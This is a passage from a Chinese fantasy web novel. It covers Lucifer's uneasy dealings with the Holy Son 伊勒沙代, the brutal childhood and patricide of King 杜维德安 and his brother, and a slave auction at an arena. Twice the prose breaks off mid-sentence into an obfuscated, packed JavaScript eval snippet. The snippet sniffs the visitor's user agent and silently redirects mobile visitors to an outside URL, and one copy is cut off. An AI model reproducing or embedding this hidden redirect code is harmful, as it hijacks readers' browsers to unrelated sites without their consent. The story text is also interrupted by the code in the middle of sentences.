试想他那样心高气傲的人,兀地发现自己正迫不及待扒了仇人的衣服准备霸王硬上弓,还被一群熟人看个正着,怎能不痛不欲生? 玛门哼笑:“你在乎他都比在乎我多。” 梅塔特隆捏住他的鼻尖强行把他的脸移开,他这才心不甘情不愿道:“还好,只是这段时间心事重重,你也知道,陛下从不对谁说他真实的想法,光靠揣测,我也只能知道,他大概暂时不会再想杀了圣子。” 这已经是好消息了。 真得恭喜圣子,这样都还能捡一条命回来。 也是真有气运在身。 既知他没有生命危险,梅塔特隆也就不再提起,想起另一桩事:“你不是说,阿斯蒙蒂斯认出你身上有我寝殿熏香的气味?” 玛门埋首在他颈侧,含糊不清道:“放心,他识相得很,就算他不识相,我也有方法让他闭嘴,你还信不过我么?” 末了,他又酸里酸气地补上一句:“我保证,必不会影响梅塔特隆殿下的清誉,叫外人知道,梅塔特隆殿下与我这污秽的魔王有染。” 梅塔特隆无言,只偏过头在他侧脸上用唇一点,笑道:“看来是我冷落玛门大人太久了。” 玛门不答,低头覆上他的唇。 炉中白茶香气袅袅,渐渐攀上交缠的衣带,抵死缠绵。 60. 高低贵贱 从玛门观察角度来看,相较于其他知情人士的心潮澎湃大起大落难以平静,路西法这个当事人本身显得格外冷静。 起码没跑出去报复社会无差别袭击。 不过若要梅塔特隆说就是他疯久了真遇到太过于恶心又震撼的事所以反而难得的精神恢复正常了。 这一点上该记为圣子的功劳。 但路西法毕竟是路西法,从神思不属到又开始如常处理政务也不过花费几日。 从明面上看,这件事似乎对他已经不再有影响。 与此同时,这段时间米迦勒也常往人间去,不过不同于以往,现在主要是为问候圣子。 虽然,从他回来后的复述可以看出,圣子似乎并不需要什么安慰陪伴之类的行为。 “梅塔,我跟你说,圣子可太厉害了,他心态真的很好,发生了这种事,他还能若无其事一样该做什么就做什么,纵使路西法把他掳到了千里之外的莱洛温王城,让他身边一个可信的熟人都没有,反而多了一股暗中窥伺想杀了他的势力,他还那么镇定自若,你不知道,现在王城大街小巷里也全是他的传说!”米迦勒啧啧称奇,“要是换我遇上那样恶心的事,我都不敢说我不会留下心理阴影,恐怕怎么也得多缓一阵子。” 偏偏圣子这个当事人比他这个目击者还冷静淡然得多。 平静得简直就像这种事是他自己一手设计的一样。 不过这也就是他随便想想,根本不可能的,天国生灵最忌与地狱有染,圣子常年在水晶天,不可能不知道这一点。 倘若真发生了这种事,一个不慎,父神会不会迁怒之下不许他再回天国都未可知。 那他可真要如凡人一般生老病死了。 怎会有人如此不明智呢? 他正想得乱七八糟,却见面前的梅塔特隆微微挑眉:“圣子还没离开莱洛温王城?” 米迦勒诚实地摇头:“没有,他现在法力也就剩那么点,要回莫格加荒原不知道得花费多少时间,你也知道,他时间不多。” 梅塔特隆笑起来:“那可就有意思了。” “什么有意思?”米迦勒面露好奇。 “据我所知……”梅塔特隆笑容渐深,“路西法,这几日里也会到莱洛温王城。” 故人重逢,不知,会是什么光景? * 路西法刚进莱洛温王城就知道情况不妙。 伊勒沙代居然还没离开。 但路西法转念一想,他现在多少也该对他有些畏惧,大约还会主动避开见面,于是也就没有转身就走。 不过他还是使了些手段,迂回几转将有人要杀伊勒沙代的消息传给了他。 希望他识相点赶紧滚。 路西法再看伊勒沙代不顺眼,也衷心佩服他收买人心的本事,这消息放出去,竟有不少人为他担心得寝食难安,甚至有小有权势的人买通卫队在他居所附近多加巡逻。 但他们着实是小看了伊勒沙代招恨的体质。 也是误算了他带来的影响对现有结构的冲击。 被损害的既得利益者可比这群平民有能耐得多。 路西法此次被急急请求来,也是因此。 但路西法压根不想理会王座上年迈愚蠢的暴君。 堂堂一个大权在握的国王,因为区区预言传闻就恐惧一个手无寸铁的低等种族平民,这说出去多可笑。 换作是他,把预言的人杀到只剩一个,再杀了伊勒沙代,血洗镇压,谁敢再提? 至于什么天国的意思,那重要吗? 他都残暴施虐那么多次,罪孽犯了个遍,难道现在顺应天意一回耶和华就会宽恕他了? 既然反正天国都不会放过他,那还不如杀个痛快,杀到哪儿算哪儿,天命属意谁他就杀谁。 耶和华不让他好过他也不让祂好过。 而不是像现在的杜维德安,竟然真不敢立即对伊勒沙代做什么。 其实若是年轻时的杜维德安,也不会这么畏首畏尾,可惜了,人类一旦年迈,总会丧失勇气野心。 路西法现在想到他的脸都觉得难受。 他只是来看热闹的,可不是为了给谁撑腰。 无用之人,死了也就死了。 不好用的棋子自该被扔出棋盘,全新的,年轻的,朝气蓬勃,野心膨胀的棋子自然会顶上。 不中用的东西,还是早点让位比较好。 所以路西法这段时日,虽在莱洛温王城,却不曾见杜维德安。 他只喜欢充满恨意和不甘,野心枝繁叶茂的灵魂。 比如年轻时的杜维德安。 * 阿图略鲁抬头看着面前暗沉的大殿,理了理衣衫,对殿门口的守卫颔首示意,随即便推门缓缓步入其中。 大殿高耸巍峨,装潢可谓金碧辉煌,只要处处点满灯盏,便会如传说中天上的宫阙一般,夺目耀眼,不似凡间。 而如今却只点了正中王座处周围的几座塔状的灯,于是便显得黯淡昏沉,那些雕梁画柱,金盏玉樽都透出冷意来,黑漆漆处仿佛有无数怨魂藏身其中,满怀恶意地注视着殿中的人。 殿内散发着浓厚甜腻的香气,直冲鼻腔,连殿外那些守卫每逢值守时都觉反胃,下值后都要寻个地方作呕。 偏偏此刻殿内,莱洛温权势巅峰的二人,没有谁觉得难受。 他们都早就习惯了这味道。 阿图略鲁回身关上殿门,隔绝一切窥探,然后才转身走向王座处。 “自己找个地方坐。” 缩在王座下的一团黑影闷闷地开口,声音满是阴沉暮气。 任谁也不会想到,这竟是传闻中残暴狂妄,时时刻刻纵情声色的杜维德安王。 阿图略鲁也没有与他客气,找了个塔灯附近坐下,背靠着一尊雕像,他不用看都知道是什么。 那个男人痛哭流涕的跪像。 那个,应该被他们称之为“父亲”的人。 杜维德安丢过来一物,阿图略鲁顺手接下,竟是一壶酒。 不是琼浆玉液,也没用金壶银杯,而是一只磨得掉了毛的酒囊,里面装的也是粗制滥造,气味难闻,最低等的酒液。 王城里的平民都不喝这个,最低贱的奴隶才会用它解解馋。 但阿图略鲁神色如常地喝了下去,没一点不适应。 杜维德安从喉咙里发出闷笑。 两人就这样随意坐着沉默地喝了会儿酒,还是杜维德安先开口,已带了几分酒意:“还是这酒够有劲,最冷的冬天里喝一口,身上就能暖,不像那群草包爱喝的不中用玩意儿。” 畅快落拓,不似现在,倒像从前。 阿图略鲁却没接话,半晌后,他才开口:“我还以为你会叫大祭司来陪着你。” “他?他恨不得我早点死,好给他看上的小子腾位置。”杜维德安冷笑,“但他可算错了,我还没那么容易死。” 阿图略鲁摇摇头,说起不知说了多少遍的话:“明枪易躲,暗箭难防。他的手段太阴狠,你得注意那些暗处容易动手脚的地方。” 杜维德安忽地笑起来:“弟弟啊,你是装好人装太久了忘了咱们的事了?谁阴狠得过我们?” 他对着阿图略鲁背后的雕像,露出狞笑来:“这个老东西,不肯乖乖去死,喘着口气闹腾,还得我们脏了手,真是不识好歹。” 阿图略鲁回头看了一眼雕像,工匠的手艺极好,那男人满脸惊恐哀切,又带着深深悔恨。 但还是比他临死前的模样体面一点。 阿图略鲁又咽下一口酒,辛辣刮喉,如刀片一样。 他也笑起来,往日平和慈悲的眉目多了几分狰狞恨意,与他兄长终于显得相似:“他活该,怎么死都是得了便宜。” 可惜,可惜为了那份下葬时的体面,他只能勒死他,不能把他千刀万剐,让他亲眼看着自己的血肉消失。 不过也就是走个形式。 待到葬礼结束,他和杜维德安就去换了遗体。 下葬的是一条公狗。 他还是被千刀万剐,然后丢去了乱葬 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偶尔她也会带他们出去走走,他们也会见到王宫里其他人。 她憔悴沧桑,和王宫里其他老畜牲的女人形成鲜明对比。 她们光鲜亮丽,穿的衣服,戴的首饰,随便一件都够买他们母子三人的贱命。 她们看向他们的目光也常常是鄙夷不屑的,恶劣者还会捂着鼻子让他们滚。 仿佛他们是什么肮脏见不得光的蛇虫鼠蚁。 有一次,他独自偷偷溜出去,不巧正遇上老畜牲的宠妃,她正捏着几块香气扑鼻的糕点喂她的爱犬。 阿图略鲁记得自己饿极了,太饿了,他从小到大都没有吃过饱饭,更没闻到过那么香甜的糕点的味道。 他没忍住,冲上去和那条狗抢了起来。 宠妃一愣,随即拍手大笑,叫人又端了一盘糕点来,放到地上,开怀地看着他和那条狗争得你来我往。 王宫里有点稀奇动静都传得快,更何况是顶着王子身份的他与狗争食的事。 杜维德安很快就知道了这件事,他赶了过来,狠狠抽了阿图略鲁一巴掌。 随即,他阴沉地盯着宠妃,当着她的面,掐死了那条狗。 宠妃被他的眼神吓住,不敢多说,泪水涟涟地走了。 他也被杜维德安带回了住处。 杜维德安没再教训他,只是沉默地坐着,直到母亲回来,他才说了这件事。 她听完,面上缓缓露出苦笑。 她说,对不起,是我耽误了你们。 杜维德安慌乱地说他没有这么想过,还掐他胳膊,示意他也安抚她。 但他那时已经从一路上侍从们的窃窃私语和异样目光中知道了自己有多不堪。 所以他说,对,你耽误了我们,是你害得我这么惨。 杜维德安暴怒,当时就要抄着东西打他,他梗着脖子说,打吧,打死他最好,活得不如条畜牲还不如死了。 她拦下了他。 她没说什么,只是深深看他一眼,然后让他们今晚去王宫西面的林子里自己待着,别再回来。 他以为她是太伤心失望,但那时他也在气头上,就这么跑了出去。 杜维德安也跟着跑出去,一路追着他到林子里。 阿图略鲁不想回去,他在林子里放声大哭,他问杜维德安,凭什么他们这么低贱,凭什么他们就得过这样的苦日子,凭什么其他人锦衣玉食,偏偏他们求生不得求死不能。 杜维德安抱紧他,很久很久,才说,他发誓,不会一直这样的。 他会带着他和母亲过上应有的好日子。 阿图略鲁哭过以后也觉得自己有错,便和杜维德安一起回去。 却正撞上那个老畜牲。 他带着许多侍卫,其中两个身强力壮的在两边拉着绳子。 绳子中间的套环里是他们的母亲。 61. 光明磊落 她痛苦地挣扎着,余光瞥到他们,却惊慌地摇头,想让他们快跑。 杜维德安却已经冲了进去。 他咆哮着要推开那两个侍卫,但他也不过是个半大少年,怎会是侍卫的对手? 老畜牲嫌恶地看着他们两个,叫侍卫把他们拖到一边绑起来,像对待两条不听话的野狗。 她悲伤地看着他们,拼尽最后一点力气挣扎着换个方位,不愿他们最后的是看见她的死状。 但死亡怎么会是她悲惨命运的终点呢? 老畜牲叫人把她的遗体带走,不知作何用处。 至于他们两个,他看都不看。 甚至没让侍卫解开绳子。 就这么被绑了许久,还是曾经受过她恩惠的一个老婢女偷偷进来,看着他们俩还没死,这才战战兢兢地给他们解开。 但她也没勇气做更多,解开绳子就跑了。 阿图略鲁艰难地转过身,看着面无表情的杜维德安,说,哥哥,从今天起,我就是个傻子了。 杜维德安回看他,点了点头。 他们什么都没说,但已经默契地开始配合。 没人会怀疑一个傻子。 从那天后,他们在这王宫里的处境更糟糕,人人都发现,欺负折辱他们,什么代价都不会有。 而在这阴暗扭曲的王宫里,有两个身份高贵的出气筒,多好。 阿图略鲁记得,他和杜维德安为了活下去什么都做过。 挨打挨骂,受人白眼,做曾经她做过的肮脏粗累的活。 学狗叫,被宠妃的儿子当狗骑着绕王宫里爬,然后换来一口饭食。 他们依偎在那处破旧漏风的住处,杜维德安抬头看着房顶豁口漏出的缝隙,说,早晚,他要他们都去死。 如何做到呢? 阿图略鲁也不知道杜维德安用了什么方法,总之,他得到了大祭司的青睐。 他们终于能吃饱穿暖,住进不漏风漏雨的房子。 大祭司安排人教他们识字练武,杜维德安好像还多一项,他也不知道是什么。 靠着这些,他们暗中积蓄力量,除掉其他有威胁的兄弟姐妹。 直到最后,杜维德安当着老畜牲的面把他最爱的儿子和宠妃剥皮抽筋。 老畜牲那时已经被他们下了药,只能躺在床上瞪着眼,嘴唇抖了半天,只淌下口水,却说不出来话。 但他不是为一个女人和一个儿子的死悲愤,他有太多女人和儿子,他只是为自己即将到来的命运而恐惧。 他们勒死他的时候,大祭司就在寝殿外,见到他们出来,这个常年戴着面具,气质阴冷的男人蓦地笑出声,夸他们,真是好孩子。 他说,今日之后,一切都翻篇了。 他们也曾这么以为。 老畜牲死了,杜维德安登上王位,阿图略鲁成为亲王,没人再敢提起他们那些屈辱不堪的过往,所有人只会争先恐后来献殷勤。 一切好似真的进入了全新的篇章。 但…… 其实,这才是噩梦的开始。 忽地,有烟花盛大升空,在夜幕里炸开绚丽的光彩。 阿图略鲁看向窗外。 杜维德安眯起眼,叹道:“你还记得母亲去世后第一个新年吗?也是老畜牲最爱的儿子的生日,他给他安排了最灿烂的烟花,那会儿咱俩也出门去看,结果……” 结果被他阴着脸命人打了一顿,丢回住处。 他说,他们这两个晦气的东西,不该在这个好日子出来碍眼。 杜维德安眼里划过恨意,随即又笑起来:“没关系,弟弟,现在所有的烟花都只为我们燃烧。” 只要他们愿意,便可以彻夜不消。 权势,权势,真是这世上最好的东西啊。 阿图略鲁却摇摇头:“我们早就不是喜欢烟花的年纪了。” 杜维德安沉默地又灌下几口酒。 半晌后,他开口:“她还好吗?” 不必明说,阿图略鲁也知道他在说谁。 “她从天界山脉回来后时常昏沉,我请了圣殿的祭祀为她会诊,用过药后目前好了许多,但比从前话少了,她心里装着事,偏偏那几个废物侍卫进入天界山脉后就被甩开,不知道究竟发生了什么。”阿图略鲁头疼地按了按眉心。 依他的意思,压根不要让狄曼图雅有机会去这一趟。 但杜维德安却说,是该让她见见外面的残酷。 她不能一直天真愚蠢。 “她这几日一直避着我,夫人又去了城郊的神坛祈福,这段时间,倒还是那个奴隶陪着她。”阿图略鲁眉心皱起,“但若不是他,她也不会历经险境。” 杜维德安冷哼道:“她该的,若这还改不了那蠢德行,不如早些死了,没用的东西。” “兄长!”阿图略鲁不赞同地低声阻止道。 杜维德安便不再说话。 阿图略鲁叹了口气,道:“她也不小了,还有不到一年,她就要成年了。” 时间过得真快。 杜维德安听他絮叨了许多关于狄曼图雅的事,忽地问:“你恨我吗?” 阿图略鲁的话音戛然而止。 须臾,他才又开口:“你我命运相连,你若死了,我也活不下去。兄长,我们从来都没得选。” 杜维德安嗤笑一声:“得了,何必把自己说得这么可怜,我们不是没得选,就是不甘认命而已,去他妈的命,我就不认!那时候他们自诩高贵,都说我们是贱命,你看现在,他们跪在我们面前求我们的样子,又何其下|贱。” 阿图略鲁没接话,只道:“我该走了,不然明日那些大臣贵族都会惊慌。” 杜维德安王和亲王凑在一起一整晚,任谁看了都觉得准没好事。 杜维德安没有拒绝,阿图略鲁也就起身,待走到殿门口,他顿住脚步,开口:“我会一直保护她,直到我死无全尸为止。” 他没有自信到以为自己还能有个好下场。 死无全尸? 或许都算是太乐观了。 杜维德安好似没听到一般,自顾自地在王座下哼起了曲。 这曲调阿图略鲁并不陌生。 是母亲生前最喜欢哼唱的。 他长长地叹了一声,随后,头也不回离开。 * 阿图略鲁回到府邸,第一句话便是问管家:“小姐今日睡得如何?还有没有常常梦里惊醒?” “您请来的祭祀大人们的药很有效,女仆们都说小姐近日睡得安稳,精气神恢复了不少。”管家毕恭毕敬回道。 阿图略鲁点点头:“那就好,让女仆们继续看着她服药,她不喜欢药味,别让她偷偷把药倒了。” 管家笑道:“亲王关心小姐,小姐一定会明白您的好意的。” 明白? 不明白也行。 阿图略鲁还是不放心,转身要去亲眼看看狄曼图雅,却见管家霎时满脸愁色,不由皱起眉头:“你有事瞒着我?” 管家哆哆嗦嗦地跪了下去:“小姐……小姐她方才,出府去了。” 阿图略鲁目光沉沉地盯着他,看得他冷汗涔涔,许久后,他才温和道:“起来吧,这有什么?她向来不喜欢在家里待着,现在有精力能出去游玩,也是好事。她有没有说去哪里?” 管家颤颤巍巍地起身,呐呐道:“小姐,小姐一开始没有说,我自作主张派人跟着…… “她去,去见了那个最近风头正盛的人。” 阿图略鲁眉心紧皱。 他也知道那个人,好像是叫…… 伊勒沙代? 狄曼图雅认识他? * 狄曼图雅不仅认识,还与他挺熟。 她下了马车,打量着这处伊勒沙代暂居的小院。 清静雅致,朴实无华,只有几个来帮忙传话打扫的少言寡语侍从在门庭等候。 伊勒沙代似是一早就知道她要来,侍从们见了她也不惊讶,只领着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不能不确定吧。 毕竟都是他现场用草木泥石做成的。 但伊勒沙代还是装作惊讶:“那些人还会收买侍从?我如何值得他们这般大费周章呢。” 塞里加一噎,没想到他这么没戒心,当即恨铁不成钢地说:“会,当然会!你在王城无偿治病救人,哪能不被那些把医匠药商捏在手里赚钱的权贵视为眼中钉肉中刺?这段时间来求见亲王的权贵差不多都是为你来的,个个说起你都恨得不行,他们最不择手段,我知道你向来光明磊落坦坦荡荡,但架不住有心之人暗害!” 光明磊落坦坦荡荡的圣子恰到好处地表现出不可置信和难过,但固执道:“我只是在做我该做的事,我相信世间自有公道,人心昭昭,他们的陷害都不会成功的。” 塞里加沉默地看着他,眉心的皱纹更深了几分。 伊勒沙代无辜地回望。 “……算了,当我没说。”他长长地叹口气,心里却在想着怎样安排人在暗处替伊勒沙代挡一挡那些明枪暗箭。 “我明白你的好意。”伊勒沙代话锋一转,笑眯眯道,“我做不到的话,会找人来帮我的。” 找谁? 好久没见了。 他可是很想他的。 正在装潢豪奢的贵宾室看着斗兽场精彩厮杀的路西法蓦地背后一寒,有一种被窥探的感觉。 耶和华? 不对,祂还在沉眠。 他只觉莫名其妙,但又懒得深究。 正到关键点呢。 却不知,另一边,伊勒沙代命侍从进来收拾东西,对塞里加笑道:“我受人之托,要出去一趟,你可要与我一起?” 塞里加颇有顾虑地看了看后院,还是问道:“你要去何处?” 伊勒沙代状若未觉,仍是笑道。 “斗兽场。” 62. 一掷千金 塞里加听到这三个字恍惚了一瞬。 他声音有些干涩:“是王城最大的那家吗?” 伊勒沙代颔首,状似无意道:“场主说近来园中奴隶间多有怪病,常在夜半惊醒嚎叫,互相撕咬,形状可怖,所以请我去看看,是否有解决之法。” 塞里加神情一紧:“情况很严重?” “听上去是的。”伊勒沙代叹道,“不过场主只与我提到了其中几位,不知道其他人是否也有这样的症状呢?” 极有可能是有的,甚至更严重。 但场主只在乎人气高能给他赚钱的那几个。 其他奴隶就是病痛而死,他也只会骂一声晦气脏了他的地。 塞里加当即就有些坐立不安。 他虽然也担心狄曼图雅在这里的安危,但他知道,阿图略鲁亲王非常疼爱狄曼图雅这个唯一的女儿,现在估摸着已经派了人暗中来保护她。 而奴隶园中是什么情形就不好说了。 他得亲眼看看。 塞里加下定决心,对伊勒沙代道:“我随你同去吧,若有情况,我也能保护你一二。” 这倒是用不着。 伊勒沙代但笑不语。 * 今日斗兽场来的贵宾不少,这一层的每间贵宾室都进了人。 甚至罕见地还来了圣殿的几位祭祀。 路西法瞟了一眼,还在里面见到个熟面孔。 利安维亚。 他绷着脸,眉头紧皱,像是不太喜欢这里的环境,但他周围的同僚们却兴致盎然,把他簇拥在中间不放。 路西法收回视线,他还记得进入天界山脉前随口问了问怎么没见到这个小祭祀,约里告诉他,利安维亚早在沙城时就离开了。 他和伊勒沙代有分歧,准确的说,他总是不大看得惯伊勒沙代这副众生平等的模样,对谁都没差,让习惯了众人众星捧月的他浑身不自在。 偏偏伊勒沙代只是看着好脾气好说话,实际上比谁都意志坚定,利安维亚自讨没趣,在他这里碰了几个软钉子,一怒之下就走了。 约里因为他一来就喊打喊杀的,对他也没什么好感,巴不得他早点离开,唯有聂厄曼心事重重,生怕他回去跟圣殿告状,于是不久后也辞别,急匆匆找人做应对策略去了。 路西法当时听得咋舌。 他觉得他似乎还是小看了伊勒沙代的人格魅力,瞧瞧,他还没做什么呢,这世界就要绕着他转了。 想他死的,想他活的,各自都忙忙碌碌不可开交了。 路西法回过神来,蓦地发现自己竟然又在想伊勒沙代,心情霎时不太妙。 他现在都想要是耶和华没有沉眠就好了,他怎么也要逮着祂好好问问,祂这是给祂的圣子加了什么叫人念念不忘的特殊本事? 方才路西法走神前,场上已经接近尾声,现在则是落下帷幕。 被训练许久的猛兽悲鸣着倒下,另一边的奴隶也没有好到哪里去,浑身是伤,几乎成了个血人。 台下观众却无比兴奋,打赏的声音不绝于耳,贵宾层的矜持些,派了侍从拿着打赏下去交给斗兽场的奴仆。 场主笑得见牙不见眼,分管这个奴隶的小主管更是喜不自胜地冲上去把那奴隶搂在怀里。 路西法嫌恶地皱了皱眉。 真是聒噪,吵得他头疼。 他看向那胜利了的奴隶,却见他眼神空空,表情呆滞,仿佛根本不能理解发生了什么。 傻子? 路西法来了点兴致。 有搏斗肌肉记忆的傻子可不多见,这奴隶方才与猛兽搏斗时分毫不见迟缓,一看就是练家子。 这样的人不该出现在这里。 他最喜欢有秘密的人了。 斗兽场安排来伺候贵宾的奴仆都极会察言观色,见他对这奴隶感兴趣,立刻堆了笑凑上前来问他是否要打赏。 话语之间,又有暗示,只要价钱合适,也不是不能带走。 只是带走也分长期短期或永久,要价自然也不一样。 “那是个傻子吧?什么都不懂,这能有什么意思?”路西法斜斜看那满脸讨好的奴仆一眼,但默许了打赏,于是他身侧一个沉默寡言的黑影走出来,藏在厚重黑衣里的胳膊抬起,按照斗兽场的规矩,将代表着打赏金额的小木牌放进候在门外的奴仆手中托盘里。 正努力推销场上奴隶的奴仆用余光偷瞄一眼,就被那上面的金额晃花了眼。 这可真是从未见过的大手笔! 他连忙把腰弓得更低,脸上的笑也越发谄媚,声音压低:“咱们这个奴隶可不一样,没有攻击性的,况且傻子才好啊,任由摆布,让做什么就做什么,也不会反抗,您想玩什么都成。” 斗兽场这血腥暴力的刺激场面最容易催发其他欲|望,场上胜者跪在自己面前毕恭毕敬地听候吩咐,这无疑能让大多观众获得身|心|快|感。 路西法听得一阵厌烦。 他突然觉得跟这些人比,他们魔王还是太有下限了。 且不说那些对床笫之事毫无兴趣的,就是最重|欲的阿斯蒙蒂斯也讲究你情我愿,哪有过这种明摆着不拿人当人看地折腾的时候? 唯有最底层没有神智只有本能的恶魔才会这样乱搞。 他毫不掩饰自己的反感:“这么说,有很人买过他了?” 奴仆连忙道:“没有没有,这个是刚调|教好的,今天头一次上场呢。” 路西法似笑非笑:“今日贵客来得这么齐,就算原定了是这傻子上场,为防意外也会换个发挥稳定的来吧?” 他微微坐正,伸手拍了拍奴仆的脸:“想瞒我,嗯?” 他掌中无茧,肌肤柔软,一如那些不事生产柔弱无力的贵族,却叫奴仆霎时冷汗直流,寒意透进骨髓。 这一刻他毫不怀疑这只手能一点不费劲地就扭断他的脖子。 就像折下一枝花一根草一般容易。 他两腿哆嗦着站不稳,竟然就这么软趴趴地跪了下去,涕泗横流:“大……大人,实在是,没有别的奴隶了,最近他们大多都得了怪病,半夜起来发疯似的扑咬旁人,次日醒来却一点都不记得,他们这个样子,场主哪还敢让他们上场……” 万一就中途发病,不斗兽,反而朝着观众席扑过去呢? 场主怎么敢赌这个可能。 看了一圈,就只剩这个傻子奴隶,身强力壮,有攻击力,但又没受那怪病影响。 死马当活马医,反正他既不会上场就死缺乏观赏性,又不会攻击观众造成事故。 就是在场上败了死了,那也是小事,顶多场主出来赔个不是添点彩头再开下一场就过去了。 但这毕竟是个隐患。 所以场主吩咐了这些伺候贵宾的奴仆,尽量把这傻子推销出去。 最好是当场看上带走,只要离了斗兽场,那这傻子的死活也都不用他费心了。 他打的是一手好算盘,可惜这奴仆运气不好,遇上的是最不好糊弄的路西法。 路西法盯着那奴仆颤颤巍巍的发顶,须臾,才不紧不慢地开口:“行了,起来吧,你可以出去了。” 奴仆如蒙大赦,忙不迭地往外走。 待他到门口时,却又听里面那位阴晴不定的贵宾开口:“去和下面的人说,这个奴隶,我要了。” 奴仆一怔,随即喜不自胜,一迭声应下,然后便高兴地下楼去告诉主管这个好消息。 待他走后,一道黑影便上前关上了贵宾室的门,随后便又融进墙壁里当背景板。 路西法这时候突然体会出不带那几个下属的好来,这些他随手用影子点成的随从无口无心,只按吩咐办事,不会多问多说,远比那几个脑子多少缺点东西的下属让他觉得清净多了。 他往下看去,现在是清场时间,场主正与好几个贵宾派去的侍从交流,也有不少身份低些的试图和他攀交情,总的就是春风得意。 看来他没把那怪病放在心上。 也是,死了一批还有一批,奴隶哪里用得完? 奴隶园中没了,那就再去采购一批。 一茬接一茬。 路西法又换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091906|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个舒服的姿势,余光却见又有人从入口处进场。 他本没有在意,然而来人却是个熟人。 狄曼图雅的那个奴隶? 他不守着狄曼图雅,到斗兽场来做什么? 回顾来时路吗? 但是不是还早了些,这一般都是功成名就以后才会做的吧。 就像下界的那些话本里写的,回来把所有欺负过他的人都打一顿或者杀了之类的? 他是没看过,但架不住还在天国时天天听加百列绘声绘色地分享她最新看的剧情,他记忆力又太好,难免会记住。 路西法的目光落在他身上,看他还是那副旁人欠他二五八万的丧气脸,心里莫名想到了萨麦尔。 似乎也是好久没见他了,下次回地狱的时候顺路去看看他吧。 希望他没把那海国小王子折腾死了,好歹留一口气在。 他还是很欣赏他的。 路西法正盯着塞里加出神,猝不及防,就见到了他身后的人。 白衣出尘,蓝眸如水,澄澈明净。 他似是察觉到了有人的目光,于是便也看了过来。 那双湛蓝眼眸一如既往地温柔安宁。 看向他的人却骤然脸色黑沉如墨。 伊勒沙代? 他怎会在这里! 但不过转瞬,路西法就想明白,伊勒沙代声名在外,又无偿看诊,那个场主必然是贪图便宜,又想着王城大多医匠都有些骄傲,不肯照看奴隶,这才特意派人去请他来。 他大概还觉得自己太会算计了。 着实划算。 路西法快被这自诩聪明的蠢货气得无语,他也不再看伊勒沙代,直接起身,从贵宾层另一侧台阶离开。 圣殿的祭祀在侧,他们多少还是熟悉法力波动的气息,他不想提前引起他们的警觉。 但偏偏,天不遂他愿。 他正到楼下要离开,原先那奴仆忽地出现,见到他连忙迎上来,一张脸皱成苦瓜似的:“贵客,实在是抱歉……公爵定下了这个奴隶。” “知道了,让开。”路西法懒得与他纠缠,索性直接放弃。 反正只要他想,这劳什子公爵就别想能带走那奴隶。 现在还是避开伊勒沙代要紧。 哪知,他背后又有个气虚体弱的声音传来:“我也不是白白夺您所好,听说您为他一掷千金,我愿意以十倍价钱奉还。” 斗兽场有些隐|秘的赚钱法子,那就是利用贵族们的攀比心理,有意无意暗中说谁谁出了高价,言语挑拨,引得双方竞争出高价,打肿脸也要充胖子,当然,最后是打落牙齿和血吞。 人选个中也有讲究,自然是对比越鲜明越好。 比如没有表明身份却出手豪横的路西法,与目前现场身份最高的公爵。 公爵打赏不如他多这种事,自然有奴仆“不经意”地提起,然后又说,他要了那个奴隶。 后面的事也就水到渠成了。 路西法不耐烦的情绪达到了巅峰。 他压根不想理这脑子里没有脑浆只有水的人类。 但他面前的奴仆也没有胆子违抗公爵,只能苦着脸战战兢兢地挡路。 路西法转过身盯着那个一步三喘,正被美貌侍从扶着的虚弱公爵,殷红竖瞳里杀意暗涌。 偏偏虚弱公爵没看出来,他还正得意,特地正了正大拇指上硕大的祖母绿扳指,假模假样说:“我知道,你定是很喜欢那个奴隶,才如此舍得为他花钱,但是,这种事也要讲究缘分,这十倍奉还的价钱,你就收下吧,再去找个合心意的……” 他滔滔不绝,却不知道,隔着伪装之下,路西法的竖瞳几乎眯成一条线。 藏于袖中的指尖微微攒动。 收取他一条命,只要片刻—— “路西?” 这道再熟悉不过的声音让路西法霎时收了势,表情也僵硬起来。 他不想转身,不想看到这人的脸。 但对方却没这顾虑。 “路西,你一掷千金,是为了谁?” 63. 旧不如新 伊勒沙代还在背后静静地等路西法回答。 路西法莫名地有种出来鬼混给外头的不正经卖身青年花钱却被正房当场抓奸的感觉。 但这想法太惊悚了。 他和伊勒沙代能有什么关系? 再说了这不是没买到人吗…… 向来精明果决的撒旦陛下此刻竟也不知该怎么做的好。 他真不想面对伊勒沙代。 但他不想,那个虚弱的公爵看到伊勒沙代却是眼前一亮,当看清他左耳无环右耳双环的特征后,更是心潮澎湃。 他甚至都甩开了美貌侍从的手,理了理自己的衣服,满脸笑容:“你是这里新进的吗?以前从来没有见过你。” 伊勒沙代连个眼神都没分给他。 他的目光如有实质般落在路西法背上。 似带着凛冽寒意。 这赤|裸|裸的无视让虚弱公爵脸色渐渐僵硬起来,他从未被这样忽略过,但他见伊勒沙代只盯着路西法,眼睛在他们二人间转了一圈,便上前靠近路西法,笑容虚伪:“这样吧,方才场上那个奴隶,我让给你,你把他给我,如何?” 路西法正心烦,一听这话,却一下子乐了起来。 好久没见过这么不知天高地厚的玩意儿了,还挺解压。 于是他随口道:“好啊,你带走他他就是你的了。” 这么爽快? 虚弱公爵反而有些不可置信地看着路西法。 路西法非常大度地拍了拍他的肩膀:“别多想,旧人哪里比得上新人?我不会不放手的。” 他没有收着力道,一掌就差点把那虚弱公爵拍到地上去。 而更可怕的是,此言一出,路西法立刻感觉到扎在背后的目光跟刀子似的。 不过他也不在意了。 他头也不回地回了贵宾室。 出去会撞上伊勒沙代,回贵宾室可不能。 这虚弱公爵还真提醒他了,现在伊勒沙代明面上的身份太低,他想甩开他那简直就是易如反掌的事。 